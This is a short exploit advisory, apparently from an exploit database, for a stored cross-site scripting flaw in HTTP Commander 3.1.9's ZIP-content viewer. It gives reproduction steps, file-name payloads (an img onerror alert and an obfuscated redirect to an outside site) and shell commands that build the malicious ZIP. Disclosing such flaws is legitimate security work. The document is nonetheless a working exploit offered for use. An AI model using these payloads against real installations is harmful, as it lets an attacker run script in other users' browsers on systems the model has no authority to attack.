# Exploit Title: HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS)
# Date: 07/01/2022
# Exploit Author: Oscar Sandén
# Vendor Homepage: https://www.element-it.com
# Software Link: https://www.element-it.com/downloads.aspx
# Version: 3.1.9
# Tested on: Windows Server 2016
[Description]
There is a stored XSS in the 'Zip content' feature of the HTTP commander application. The vulnerable field is the filename of the files inside the zip. This vulnerability exists in 3.x of the HTTP commander application.
[Steps to reproduce]
1) Create a file with a xxs payload in its name. Examples:
<img src=x onerror=alert(1)>.txt
<img src=x onerror="document.location='https:'+String.fromCharCode(47)+String.fromCharCode(47)+'exploit-db.com'">.txt
Or some other JS you like.
2) Zip the files
3) Upload the ZIP-file
4) In HTTP commander, right click the file and select ZIP-content.
5) If the files are in a subfolder, expand it until the filenames are shown.
[Exploit]
touch payload/<img src=x onerror=alert(1)>.txt
Zip -r test.zip /payload
